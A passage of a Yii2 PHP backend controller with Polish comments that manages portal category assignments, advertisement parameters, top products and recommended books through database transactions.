                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }            
        }
        
        return $this->render('tenders_cpv', [
            'modelPortal' => $modelPortal, 
            'modelsPortalsHasTendersCpv' => $modelsPortalsHasTendersCpv
        ]);
    }
    
    public function actionTrainingsCategories($id)
    {
        $modelPortal = $this->findModel($id);
  
        $modelsPortalsHasCategories = $modelPortal->getRelationsWithTrainingsCategories()->indexBy('id_category')->all();
        
        $outputParams = [
            'modelPortal' => $modelPortal,
            'modelsPortalsHasCategories' => $modelsPortalsHasCategories
        ];
        
        if(Yii::$app->user->can('modifyPortalsTrainingsCategories') && Yii::$app->request->getIsPost()) {
            $selectedCategories = \common\models\TrainingsCategories::find()->select(['id_category', 'id_parent_category'])->where(['id_category' => Yii::$app->request->post('categories')])->indexBy('id_category')->asArray()->all();
            
            //badamy, czy dla wybranych kategorii 2giego rzędu zostały zaznaczone ich kategorie nadrzędne
            $requiredCategoriesIds = [];
            foreach($selectedCategories as $selectedCategory) {
                if(!empty($selectedCategory['id_parent_category']) && !isset($selectedCategories[$selectedCategory['id_parent_category']])) {
                    $requiredCategoriesIds[$selectedCategory['id_parent_category']] = $selectedCategory['id_parent_category'];
                }
            }            
            if(!empty($requiredCategoriesIds)) {
                $requiredCategories = \common\models\TrainingsCategories::find()->select(['id_category', 'id_parent_category'])->where(['id_category' => $requiredCategoriesIds])->indexBy('id_category')->asArray()->all();
                foreach($requiredCategories as $idCategory => $requiredCategory) {
                    $selectedCategories[$idCategory] = $requiredCategory;
                }
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            $flag = true;
            
            foreach($selectedCategories as $selectedCategory) {
                if(empty($modelsPortalsHasCategories) || !isset($modelsPortalsHasCategories[$selectedCategory['id_category']])) {
                    $modelPortalHasCategory = new \common\models\PortalsHasTrainingsCategories();
                    $modelPortalHasCategory->id_portal = $modelPortal->id_portal;
                    $modelPortalHasCategory->id_category = $selectedCategory['id_category'];
                    
                    if(!$modelPortalHasCategory->validate()) {
                        $transaction->rollBack();
                        Yii::$app->session->addFlash('error', $modelPortalHasCategory->getErrors());
                        $outputParams['modelsPortalsHasCategories'] = $modelPortal->getRelationsWithTrainingsCategories()->indexBy('id_category')->all();                        
                        return $this->render('trainings_categories', $outputParams);
                    }

                    if(!$modelPortalHasCategory->save(false)) {
                        $flag = false;
                        break;
                    }
                } else {
                    unset($modelsPortalsHasCategories[$selectedCategory['id_category']]);
                }
            }
            
            if($flag && !empty($modelsPortalsHasCategories)) {
                foreach($modelsPortalsHasCategories as $modelPortalHasCategory) {
                    if($modelPortalHasCategory->delete() === false) {
                        $flag = false;
                        break;
                    }
                }
            }
            
            if($flag) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['portals/trainings-categories', 'id' => $modelPortal->id_portal]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }            
        }
        
        return $this->render('trainings_categories', $outputParams);
    }
    
    public function actionAdvertisementsCategoriesList($id)
    {
        $modelPortal = $this->findModel($id);  
        $categories = \common\models\AdvertisementsCategories::getCategoryTree($modelPortal->id_portal);

        $outputParams = [
            'modelPortal' => $modelPortal,
            'categories' => !empty($categories[0]['children']) ? $categories[0]['children'] : []
        ];
        
        return $this->render('advertisements_categories_list', $outputParams);
    }
    
    public function actionAdvertisementCategorySetParams($id)
    {
        $modelCategory = \common\models\AdvertisementsCategories::findOne($id);
        if($modelCategory === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }        
        $modelPortal = $modelCategory->portal;
        
        $searchModel = new \backend\models\AdvertisementsParamsSearch();
        $dataProviderParams = $searchModel->search(Yii::$app->request->queryParams);

        $modelsInheritedRelationsWithParams = [];
        
        if($modelCategory->depth > 1) {
            $modelParentCategory = \common\models\AdvertisementsCategories::find()
                    ->select(['id_category'])
                    ->where(['depth' => $modelCategory->depth - 1])
                    ->andWhere(['<', 'left', $modelCategory->left])
                    ->andWhere(['>', 'right', $modelCategory->right])
                    ->one();
            $modelsInheritedRelationsWithParams = $modelParentCategory->getRelationsWithParams()->with('param')->indexBy('id_param')->orderBy('advertisements_categories_has_advertisements_params.param_order ASC')->all();
        }
        
        $modelsOwnRelationsWithParams = $modelCategory->getRelationsWithParams()->andWhere(['NOT', ['advertisements_categories_has_advertisements_params.id_param' => array_keys($modelsInheritedRelationsWithParams)]])->with('param')->indexBy('id_param')->orderBy('advertisements_categories_has_advertisements_params.param_order ASC')->all();

        $outputParams = [
            'modelPortal' => $modelPortal,
            'searchModel' => $searchModel,
            'dataProviderParams' => $dataProviderParams,
            'modelsInheritedRelationsWithParams' => $modelsInheritedRelationsWithParams,
            'modelsOwnRelationsWithParams' => $modelsOwnRelationsWithParams
        ];
        
        if(Yii::$app->user->can('modifyPortalsAdvertisementsCategoriesParams') && Yii::$app->request->getIsPost()) {
            $idsModifiedCategories = [$modelCategory->id_category];
            
            $postAdvertisementsCategoriesHasAdvertisementsParams = Yii::$app->request->post('AdvertisementsCategoriesHasAdvertisementsParams', []);
            $idsPostedParams = array_combine(array_map('intval', array_keys($postAdvertisementsCategoriesHasAdvertisementsParams)), array_map('intval', array_keys($postAdvertisementsCategoriesHasAdvertisementsParams)));
            $idsDeletedParams = [];;
            
            $transaction = Yii::$app->db->beginTransaction();
            
            if(!empty($modelsOwnRelationsWithParams)) {
                foreach($modelsOwnRelationsWithParams as $key => $modelOwnRelationWithParam) {
                    if(!isset($idsPostedParams[$modelOwnRelationWithParam->id_param])) {
                        $idsDeletedParams[$modelOwnRelationWithParam->id_param] = $modelOwnRelationWithParam->id_param;
                        if($modelOwnRelationWithParam->delete() === false) {
                            $transaction->rollBack();
                            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));    
                            return $this->render('advertisement_category_set_params', $outputParams);
                        }
                        unset($modelsOwnRelationsWithParams[$key]);
                    }
                }
            }
            
            if(!empty($postAdvertisementsCategoriesHasAdvertisementsParams)) {
                $paramOrder = count($modelsInheritedRelationsWithParams);
                foreach($postAdvertisementsCategoriesHasAdvertisementsParams as $key => $value) {
                    $key = intval($key);
                    if(isset($modelsInheritedRelationsWithParams[$key])) {
                        continue;
                    }
                    $paramOrder++;
                    if(!isset($modelsOwnRelationsWithParams[$key])) {                        
                        $newModelRelationWithParam = new \common\models\AdvertisementsCategoriesHasAdvertisementsParams(['scenario' => 'create']);
                        $newModelRelationWithParam->attributes = $value;
                        $newModelRelationWithParam->id_category = $modelCategory->id_category;
                        $newModelRelationWithParam->param_order = $paramOrder;
                        $modelsOwnRelationsWithParams[$key] = $newModelRelationWithParam;                        
                    } else {
                        $modelsOwnRelationsWithParams[$key]->setScenario('update');
                        $modelsOwnRelationsWithParams[$key]->param_order = $paramOrder;
                        $modelsOwnRelationsWithParams[$key]->required = intval($value['required']) === 1 ? 1 : 0;                        
                    }
                }
                $outputParams['modelsOwnRelationsWithParams'] = $modelsOwnRelationsWithParams;
            }
            
            if(!empty($modelsOwnRelationsWithParams)) {
                foreach($modelsOwnRelationsWithParams as $modelOwnRelationWithParam) {
                    //zapisujemy
                    if(!$modelOwnRelationWithParam->validate()) {
                        $transaction->rollBack();
                        Yii::$app->session->addFlash('error', $modelOwnRelationWithParam->getErrors());
                        return $this->render('advertisement_category_set_params', $outputParams);
                    }
                    if(!$modelOwnRelationWithParam->save(false)) {
                        $transaction->rollBack();
                        Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));    
                        return $this->render('advertisement_category_set_params', $outputParams);
                    }
                }
            }
            
            if($modelCategory->right - $modelCategory->left !== 1) {
                $countParamsForCategory = count($modelsInheritedRelationsWithParams) + count($modelsOwnRelationsWithParams);
                $idsChildrenCategories = \common\models\AdvertisementsCategories::find()
                        ->select(['id_category'])
                        ->andWhere(['>', 'left', $modelCategory->left])
                        ->andWhere(['<', 'right', $modelCategory->right])
                        ->column();
                $idsModifiedCategories = array_unique(array_merge($idsModifiedCategories, $idsChildrenCategories));
                
                $categoriesRelationsWithParams = [];                
                foreach($idsChildrenCategories as $idChildCategory) {
                    $categoriesRelationsWithParams[$idChildCategory] = [];
                }
                
                $models = \common\models\AdvertisementsCategoriesHasAdvertisementsParams::find()->where(['id_category' => $idsChildrenCategories])->orderBy('id_category ASC, id_param ASC')->all();                
                if(!empty($models)) {
                    foreach($models as $model) {
                        $model->setScenario('update');
                        $model->param_order = $model->param_order + 100; //proteza, aby móc jakoś rozróżnić 
                        $categoriesRelationsWithParams[$model->id_category][$model->id_param] = $model;
                    }
                }                
                
                foreach($categoriesRelationsWithParams as $idCategory => $relationsWithParams) {
                    foreach($modelsInheritedRelationsWithParams as $modelInheritedRelationWithParam) {
                        if(!isset($relationsWithParams[$modelInheritedRelationWithParam->id_param])) {
                            $categoriesRelationsWithParams[$idCategory][$modelInheritedRelationWithParam->id_param] = new \common\models\AdvertisementsCategoriesHasAdvertisementsParams(['scenario' => 'create']);                            
                        }
                        $categoriesRelationsWithParams[$idCategory][$modelInheritedRelationWithParam->id_param]->attributes = $modelInheritedRelationWithParam->attributes;
                        $categoriesRelationsWithParams[$idCategory][$modelInheritedRelationWithParam->id_param]->id_category = $idCategory;
                    }
                    foreach($modelsOwnRelationsWithParams as $modelOwnRelationWithParam) {
                        if(!isset($relationsWithParams[$modelOwnRelationWithParam->id_param])) {
                            $categoriesRelationsWithParams[$idCategory][$modelOwnRelationWithParam->id_param] = new \common\models\AdvertisementsCategoriesHasAdvertisementsParams(['scenario' => 'create']);                            
                        }
                        $categoriesRelationsWithParams[$idCategory][$modelOwnRelationWithParam->id_param]->attributes = $modelOwnRelationWithParam->attributes;
                        $categoriesRelationsWithParams[$idCategory][$modelOwnRelationWithParam->id_param]->id_category = $idCategory;
                    }
                }
                
                foreach($categoriesRelationsWithParams as $idCategory => $relationsWithParams) {                    
                    $partOfParamOrder = 1;
                    foreach($relationsWithParams as $idParam => $relationWithParam) {
                        if(isset($idsDeletedParams[$idParam])) {
                            if($relationWithParam->delete() === false) {
                                $transaction->rollBack();
                                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));    
                                return $this->render('advertisement_category_set_params', $outputParams);
                            }
                            continue;
                        }
                        elseif($relationWithParam->param_order > 100) {
                            $relationWithParam->param_order = $countParamsForCategory + $partOfParamOrder;
                            $partOfParamOrder++;
                        }
                        
                        if(!$relationWithParam->validate()) {
                            $transaction->rollBack();
                            Yii::$app->session->addFlash('error', $relationWithParam->getErrors());
                            return $this->render('advertisement_category_set_params', $outputParams);
                        }
                        if(!$relationWithParam->save(false)) {
                            $transaction->rollBack();
                            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));    
                            return $this->render('advertisement_category_set_params', $outputParams);
                        }
                    }
                }
            }
            
            $transaction->commit();
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
            
            $cacheTags = [];
            foreach($idsModifiedCategories as $idModifiedCategory) {
                $cacheTags[] = 'advertisements_category_'.$idModifiedCategory.'_params';    
            }
            TagDependency::invalidate(Yii::$app->frontendCache, $cacheTags); 
            
            return $this->redirect(['advertisements-categories-list', 'id' => $modelCategory->id_portal]);
        }
        
        return $this->render('advertisement_category_set_params', $outputParams);
    }
    
    public function actionCompaniesCategoriesList($id)
    {
        $modelPortal = $this->findModel($id);  
        
        $idPortalForCategoriesTree = empty($modelPortal->id_parent_portal) ? $modelPortal->id_portal : $modelPortal->id_parent_portal;
        
        $categories = \common\models\CompaniesCategories::getCategoryTree($idPortalForCategoriesTree);

        $outputParams = [
            'modelPortal' => $modelPortal,
            'categories' => !empty($categories[0]['children']) ? $categories[0]['children'] : []
        ];
        
        return $this->render('companies_categories_list', $outputParams);
    }
    
    public function actionAssignCompaniesToCategory($id)
    {        
        $modelCategory = \common\models\CompaniesCategories::findOne($id);
        if($modelCategory === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }        
        $modelPortal = $modelCategory->portal;
        
        $modelsRelations = $modelCategory->getRelationsWithPresentations()->with(['presentation', 'presentation.company'])->indexBy('id_presentation')->all();
        
        $queryParams = Yii::$app->request->queryParams;
        $queryParams['CompaniesPresentationsSearch']['id_portal'] = $modelPortal->id_portal;
        $searchModel = new \backend\models\CompaniesPresentationsSearch();
        $dataProvider = $searchModel->search($queryParams);
        $dataProvider->query->andWhere(['not', ['id_presentation' => array_keys($modelsRelations)]]);
        
        $outputParams = [
            'modelPortal' => $modelPortal,
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
            'modelsRelations' => $modelsRelations,
            'modelCategory' => $modelCategory
        ];
        
        if(Yii::$app->user->can('modifyCompaniesAssignedToPortalsCategories') && Yii::$app->request->getIsPost()) {            
            $postCompaniesPresentationsHasCompaniesCategories = Yii::$app->request->post('CompaniesPresentationsHasCompaniesCategories', []);
            $idsPostedPresentations = array_combine(array_map('intval', array_keys($postCompaniesPresentationsHasCompaniesCategories)), array_map('intval', array_keys($postCompaniesPresentationsHasCompaniesCategories)));

            $transaction = Yii::$app->db->beginTransaction();
            
            if(!empty($modelsRelations)) {
                foreach($modelsRelations as $key => $modelRelation) {
                    if(!isset($idsPostedPresentations[$modelRelation->id_presentation])) {
                        if($modelRelation->delete() === false) {
                            $transaction->rollBack();
                            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));    
                            return $this->render('assign_companies_to_category', $outputParams);
                        }
                        unset($modelsRelations[$key]);
                    }                    
                }
            }
            
            if(!empty($postCompaniesPresentationsHasCompaniesCategories)) {
                foreach($postCompaniesPresentationsHasCompaniesCategories as $key => $value) {
                    if(!isset($modelsRelations[$key])) {                        
                        $newModelRelation = new \common\models\CompaniesPresentationsHasCompaniesCategories();
                        $newModelRelation->attributes = $value;
                        $newModelRelation->id_category = $modelCategory->id_category;
                        $modelsRelations[$key] = $newModelRelation;                        
                    }
                }
                $outputParams['modelsRelations'] = $modelsRelations;
            }
            
            if(!empty($modelsRelations)) {
                foreach($modelsRelations as $modelRelation) {
                    //zapisujemy
                    if(!$modelRelation->validate()) {
                        $transaction->rollBack();
                        Yii::$app->session->addFlash('error', $modelRelation->getErrors());
                        return $this->render('assign_companies_to_category', $outputParams);
                    }
                    if(!$modelRelation->save(false)) {
                        $transaction->rollBack();
                        Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));    
                        return $this->render('assign_companies_to_category', $outputParams);
                    }
                }
            }
            
//            $transaction->rollBack();
            $transaction->commit();
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
            
            return $this->redirect(['assign-companies-to-category', 'id' => $modelCategory->id_category]);
        }
        
        return $this->render('assign_companies_to_category', $outputParams);
    }

    public function actionBookstoreCategories($id)
    {
        $modelPortal = $this->findModel($id);
        
        $checkedCategories = $modelPortal->getRelationsWithBookstoreCategories()->select(['id_category'])->column();
        $categoriesTree = \common\models\BookstoreCategories::getJSONCategoryTree($checkedCategories);
        
        $outputParams = [
            'modelPortal' => $modelPortal,
            'categoriesTree' => $categoriesTree,
        ];
        
        if(Yii::$app->user->can('modifyPortalsBookstoreCategories') && Yii::$app->request->getIsPost()) {
            $categories = \common\models\BookstoreCategories::find()->select(['id_category', 'id_parent_category'])->indexBy('id_category')->asArray()->all();            
            $selectedCategories = \common\models\BookstoreCategories::find()->select(['id_category', 'id_parent_category'])->where(['id_category' => Yii::$app->request->post('categories')])->indexBy('id_category')->asArray()->all();
            
            if(!empty($selectedCategories)) {
                foreach($selectedCategories as $idSelectedCategory => $selectedCategory) {
                    if(!empty($selectedCategory['id_parent_category']) && !isset($selectedCategories[$selectedCategory['id_parent_category']])) {
                        $idParentCategory = $selectedCategory['id_parent_category'];
                        while(!empty($idParentCategory)) {
                            $parentCategory = $categories[$idParentCategory];
                            $selectedCategories[$idParentCategory] = $parentCategory;                        
                            $idParentCategory = !empty($parentCategory['id_parent_category']) ? $parentCategory['id_parent_category'] : null;
                        }
                    }
                }
            }            
            
            $diffCategories = array_diff($checkedCategories, array_keys($selectedCategories));
            
            $modelsPortalsHasCategories = $modelPortal->getRelationsWithBookstoreCategories()->indexBy('id_category')->all();
            
            $transaction = Yii::$app->db->beginTransaction();
            $flag = true;
            
            if(!empty($selectedCategories)) {
                foreach($selectedCategories as $selectedCategory) {
                    if(empty($modelsPortalsHasCategories[$selectedCategory['id_category']])) {
                        $modelPortalHasCategory = new \common\models\PortalsHasBookstoreCategories();
                        $modelPortalHasCategory->id_portal = $modelPortal->id_portal;
                        $modelPortalHasCategory->id_category = $selectedCategory['id_category'];

                        if(!$modelPortalHasCategory->validate()) {
                            $transaction->rollBack();
                            Yii::$app->session->addFlash('error', $modelPortalHasCategory->getErrors());                      
                            return $this->render('bookstore_categories', $outputParams);
                        }

                        if(!$modelPortalHasCategory->save(false)) {
                            $flag = false;
                            break;
                        }
                    } else {
                        unset($modelsPortalsHasCategories[$selectedCategory['id_category']]);
                    }
                }
            }
            
            if($flag && !empty($modelsPortalsHasCategories)) {
                foreach($modelsPortalsHasCategories as $modelPortalHasCategory) {
                    if($modelPortalHasCategory->delete() === false) {
                        $flag = false;
                        break;
                    }
                }
            }
            
            if(!empty($diffCategories)) {                
                $books = \common\models\Books::find()
                            ->select(['books.id_book'])
                            ->join('INNER JOIN', 'books_has_bookstore_categories', 'books_has_bookstore_categories.id_book = books.id_book')
                            ->join('INNER JOIN', 'publishing_houses', 'publishing_houses.id_publishing_house = books.id_publishing_house')
                            ->where([
                                'publishing_houses.status' => \common\models\types\Status::ACTIVE,
                                'books_has_bookstore_categories.id_category' => $diffCategories
                            ])
                            ->indexBy('id_book')
                            ->asArray()
                            ->all();
                
                if(!empty($books)) {
                    $results = \frontend\models\IndexBooks::refreshRecords(array_keys($books));
                }      
            }
            
            if($flag) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                TagDependency::invalidate(Yii::$app->frontendCache, ['bookstore_tree_portal_'.$modelPortal->id_portal]);
                return $this->redirect(['bookstore-categories', 'id' => $modelPortal->id_portal]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }            
        }
        
        return $this->render('bookstore_categories', $outputParams);
    }
    
    public function actionTopProducts($id)
    {
        $modelPortal = $this->findModel($id);
        
        $searchModel = new \backend\models\PortalsPromotedProductsSearch();
        $dataProviderProducts = $searchModel->search(Yii::$app->request->queryParams, $modelPortal->id_portal);

        $dataProviderTopProducts = new \yii\data\ActiveDataProvider([
            'query' => $modelPortal->getRelationsWithProductsPromoted()
                ->joinWith('product')
                ->with('product.company')
                ->where(['portals_has_products_promoted.promotion_type' => \common\models\types\ProductPromotionType::TOP_PRODUCT])                
                ->orderBy('portals_has_products_promoted.product_order ASC'),
            'pagination' => false,
            'sort' => false
        ]);
        
        return $this->render('top_products', [
            'modelPortal' => $modelPortal, 
            'searchModel' => $searchModel,
            'dataProviderProducts' => $dataProviderProducts,
            'dataProviderTopProducts' => $dataProviderTopProducts,
        ]);
    }
    
    public function actionSetAsTopProduct($id)
    {
        if (($modelProduct = \common\models\Products::findOne($id)) === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $modelPortal = $this->findModel(intval(Yii::$app->request->get('id_portal', null)));
        
        $model = \common\models\PortalsHasProductsPromoted::findOne(['id_portal' => $modelPortal->id_portal, 'id_product' => $modelProduct->id_product, 'promotion_type' => \common\models\types\ProductPromotionType::TOP_PRODUCT]);
        if(empty($model)) {
            $model = new \common\models\PortalsHasProductsPromoted(['scenario' => 'create']);
            $model->id_portal = $modelPortal->id_portal;
            $model->id_product = $modelProduct->id_product;
            $model->promotion_type = \common\models\types\ProductPromotionType::TOP_PRODUCT;
        } else {
            $model->setScenario('update');
        }
                
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, ['id_portal', 'id_product', 'promoted_start_date', 'promoted_end_date']);
        }
        
        $outputParams = [
            'modelPortal' => $modelPortal, 
            'model' => $model
        ];
        
        if(Yii::$app->request->getIsPost()) {  
            $oldOrder = intval($model->getOldAttribute('product_order'));
            
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('set-as-top-product', $outputParams);
            }            
            $model->id_portal = $modelPortal->id_portal;
            $model->id_product = $modelProduct->id_product;
            $model->promotion_type = \common\models\types\ProductPromotionType::TOP_PRODUCT;
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('set-as-top-product', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;
            
            if($model->isNewRecord) {
                $modelsPortalsHasProductsPromoted = \common\models\PortalsHasProductsPromoted::find()
                        ->where(['>=', 'product_order', $model->product_order])
                        ->andWhere([
                            'id_portal' => $model->id_portal, 
                            'promotion_type' => \common\models\types\ProductPromotionType::TOP_PRODUCT
                        ])->all();
                if(!empty($modelsPortalsHasProductsPromoted)) {                
                    array_walk($modelsPortalsHasProductsPromoted, function($modelPortalsHasProductsPromoted, $key) use (&$flag) {
                        $modelPortalsHasProductsPromoted->product_order += 1;
                        if(!$flag || !$modelPortalsHasProductsPromoted->save(false)) {
                            $flag = false;
                        }
                    });
                }
            } else {
                $newOrder = intval($model->product_order);
            
                if($newOrder !== $oldOrder) {
                    if($newOrder > $oldOrder) {
                        $modelsPortalsHasProductsPromoted = \common\models\PortalsHasProductsPromoted::find()
                            ->where(['<=', 'product_order', $newOrder])
                            ->andWhere(['>', 'product_order', $oldOrder])
                            ->andWhere(['id_portal' => $model->id_portal, 'promotion_type' => \common\models\types\ProductPromotionType::TOP_PRODUCT])
                            ->andWhere(['!=', 'id_promotion', $model->id_promotion])
                            ->all();
                        if(!empty($modelsPortalsHasProductsPromoted)) {                
                            array_walk($modelsPortalsHasProductsPromoted, function($modelPortalsHasProductsPromoted, $key) use (&$flag) {
                                $modelPortalsHasProductsPromoted->product_order -= 1;
                                if(!$flag || !$modelPortalsHasProductsPromoted->save(false)) {
                                    $flag = false;
                                }
                            });
                        }
                    } else {
                        $modelsPortalsHasProductsPromoted = \common\models\PortalsHasProductsPromoted::find()
                            ->where(['<', 'product_order', $oldOrder])
                            ->andWhere(['>=', 'product_order', $newOrder])
                            ->andWhere(['id_portal' => $model->id_portal, 'promotion_type' => \common\models\types\ProductPromotionType::TOP_PRODUCT])
                            ->andWhere(['!=', 'id_promotion', $model->id_promotion])
                            ->all();
                        if(!empty($modelsPortalsHasProductsPromoted)) {                
                            array_walk($modelsPortalsHasProductsPromoted, function($modelPortalsHasProductsPromoted, $key) use (&$flag) {
                                $modelPortalsHasProductsPromoted->product_order += 1;
                                if(!$flag || !$modelPortalsHasProductsPromoted->save(false)) {
                                    $flag = false;
                                }
                            });
                        }
                    }
                }
            }
            
            if($flag && $model->save(false)) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                TagDependency::invalidate(Yii::$app->frontendCache, ['mainpage_box_top_products_portal_'.$modelPortal->id_portal]);
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['portals/top-products', 'id' => $modelPortal->id_portal]);
                } elseif($model->getScenario() === 'create') {
                    $outputParams['model'] = new \common\models\PortalsHasProductsPromoted(['scenario' => 'create']);
                    $outputParams['model']->id_portal = $modelPortal->id_portal;
                    $outputParams['model']->id_product = $modelProduct->id_product;
                    $outputParams['model']->promotion_type = \common\models\types\ProductPromotionType::TOP_PRODUCT;
                }
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('set-as-top-product', $outputParams);
    }
    
    /**
     * Deletes an existing PortalsHasProductsPromoted model.
     * If deletion is successful, the browser will be redirected to the 'top-products' page.
     * @param string $id
     * @return mixed
     */
    public function actionDeleteTopProduct($id)
    {
        if (($model = \common\models\PortalsHasProductsPromoted::findOne($id)) === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $transaction = Yii::$app->db->beginTransaction();
        //ustawianie kolejności pozostałych produktów promowanych na danym portalu odbywa się w metodzie PortalsHasProductsPromoted::beforeDelete();
        
        $flag = $model->delete();                
        if($flag) {
            $transaction->commit();
            TagDependency::invalidate(Yii::$app->frontendCache, ['mainpage_box_top_products_portal_'.$model->id_portal]);
        } else {
            $transaction->rollBack();
        }
        
        if(empty(Yii::$app->request->get('return_url'))) {
            return Yii::$app->getResponse()->redirect(['portals/top-products', 'id' => $model->id_portal], 302, false);
        } else {
            return $this->redirect(Yii::$app->request->get('return_url'));
        }
    }
    
    public function actionRecommendedBooks($id)
    {
        $modelPortal = $this->findModel($id);
        
        $searchModel = new \backend\models\PortalsPromotedBooksSearch();
        $dataProviderBooks = $searchModel->search(Yii::$app->request->queryParams, $modelPortal->id_portal);

        $dataProviderRecommendedBooks = new \yii\data\ActiveDataProvider([
            'query' => $modelPortal->getRelationsWithBooksPromoted()->where(['books_promoted.promotion_type' => \common\models\types\BookPromotionType::RECOMMENDED])->joinWith('book')->with(['book.company', 'book.publishingHouse'])->orderBy('books_promoted.book_order ASC'),
            'pagination' => false,
            'sort' => false
        ]);
        
        return $this->render('recommended_books', [
            'modelPortal' => $modelPortal, 
            'searchModel' => $searchModel,
            'dataProviderBooks' => $dataProviderBooks,
            'dataProviderRecommendedBooks' => $dataProviderRecommendedBooks,
        ]);
    }
    
    public function actionSetAsRecommendedBook($id)
    {
        if (($modelBook = \common\models\Books::findOne($id)) === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $modelPortal = $this->findModel(intval(Yii::$app->request->get('id_portal', null)));
        
        $model = \common\models\BooksPromoted::findOne(['id_portal' => $modelPortal->id_portal, 'id_book' => $modelBook->id_book, 'promotion_type' => \common\models\types\BookPromotionType::RECOMMENDED]);
        if(empty($model)) {
            $model = new \common\models\BooksPromoted(['scenario' => 'create']);
            $model->id_portal = $modelPortal->id_portal;
            $model->id_book = $modelBook->id_book;
            $model->promotion_type = \common\models\types\BookPromotionType::RECOMMENDED;
        } else {
            $model->setScenario('update');
        }
                
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, ['id_portal', 'id_book', 'start_date', 'end_date']);
        }
        
        $outputParams = [
            'modelPortal' => $modelPortal, 
            'model' => $model
        ];
        
        if(Yii::$app->request->getIsPost()) {  
            $oldOrder = intval($model->getOldAttribute('book_order'));
            
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('set-as-recommended-book', $outputParams);
            }            
            $model->id_portal = $modelPortal->id_portal;
            $model->id_book = $modelBook->id_book;
            $model->promotion_type = \common\models\types\BookPromotionType::RECOMMENDED;
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('set-as-recommended-book', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;
            
            if($model->isNewRecord) {
                $modelsBooksPromoted = \common\models\BooksPromoted::find()
                        ->where(['>=', 'book_order', $model->book_order])
                        ->andWhere([
                            'id_portal' => $model->id_portal, 
                            'promotion_type' => \common\models\types\BookPromotionType::RECOMMENDED
                        ])->all();
                if(!empty($modelsBooksPromoted)) {                
                    array_walk($modelsBooksPromoted, function($modelBookPromoted, $key) use (&$flag) {
                        $modelBookPromoted->book_order += 1;
                        if(!$flag || !$modelBookPromoted->save(false)) {
                            $flag = false;
                        }
                    });
                }
            } else {
                $newOrder = intval($model->book_order);
            
                if($newOrder !== $oldOrder) {
                    if($newOrder > $oldOrder) {
                        $modelsBooksPromoted = \common\models\BooksPromoted::find()
                            ->where(['<=', 'book_order', $newOrder])
                            ->andWhere(['>', 'book_order', $oldOrder])
                            ->andWhere(['id_portal' => $model->id_portal, 'promotion_type' => \common\models\types\BookPromotionType::RECOMMENDED])
                            ->andWhere(['!=', 'id_book', $model->id_book])
                            ->all();
                        if(!empty($modelsBooksPromoted)) {                
                            array_walk($modelsBooksPromoted, function($modelBookPromoted, $key) use (&$flag) {
                                $modelBookPromoted->book_order -= 1;
                                if(!$flag || !$modelBookPromoted->save(false)) {
                                    $flag = false;
                                }
                            });
                        }
                    } else {
                        $modelsBooksPromoted = \common\models\BooksPromoted::find()
                            ->where(['<', 'book_order', $oldOrder])
                            ->andWhere(['>=', 'book_order', $newOrder])
                            ->andWhere(['id_portal' => $model->id_portal, 'promotion_type' => \common\models\types\BookPromotionType::RECOMMENDED])
                            ->andWhere(['!=', 'id_book', $model->id_book])
                            ->all();
                        if(!empty($modelsBooksPromoted)) {                
                            array_walk($modelsBooksPromoted, function($modelBookPromoted, $key) use (&$flag) {
                                $modelBookPromoted->book_order += 1;
                                if(!$flag || !$modelBookPromoted->save(false)) {
                                    $flag = false;
                                }
                            });
                        }
                    }
                }
            }
            
            if($flag && $model->save(false)) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
